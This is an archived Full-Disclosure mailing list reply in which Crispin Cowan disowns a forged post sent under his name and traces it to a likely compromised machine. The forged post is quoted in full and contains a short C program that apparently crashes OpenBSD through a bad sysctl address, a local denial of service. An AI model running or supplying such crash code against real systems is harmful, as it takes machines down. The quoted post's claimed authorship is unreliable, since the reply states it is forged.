full-disclosure - Re: OpenBSD kernel panic, yet still O*BSD much worse than MS-DoS 6.0

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <3FBC3B31.7040001@immunix.com>
From: crispin at immunix.com (Crispin Cowan)
Subject: Re: OpenBSD kernel panic, yet still O*BSD much worse than MS-DoS
 6.0

I don't read full disclosure, but a kind person forwarded this post to 
me. It is entirely bogus: I did not write it. Note the creative 
distortions in the cribbed .sig.

If headers are to be believed, the troll posted from 210.0.137.29 which 
traceroutes into a black hole ... likely an 0wned machine anyway.

Crispin

Some troll wrote wrote:

>ppl think "hey, local DoS sucks", therefore they are.
>i think "hey, obsd sucks", therefore i am.
>
>
>#include <stdio.h>
>#include <sys/param.h>
>#include <sys/sysctl.h>
>
>int main ()
>{
>        unsigned int blah[2] = { CTL_KERN, 0 }, addr = -4096 + 1;
>
>        return (sysctl (blah, 2, (void *) addr, &blah[1], 0, 0));
>}
>
>it's wide, it's opened, it's surely obsd!
>
>--
>Crispin Coward, Ph.D.          http://immunix.com/~crispin/
>Chief Scientist, Immunix       http://immunix.com
>            http://www.immunix.com/tosell/
>
>_______________________________________________
>Full-Disclosure - We believe in it.
>Charter: http://lists.netsys.com/full-disclosure-charter.html
>
>----- End forwarded message -----
>  
>

-- 
Crispin Cowan, Ph.D.           http://immunix.com/~crispin/
Chief Scientist, Immunix       http://immunix.com
            http://www.immunix.com/shop/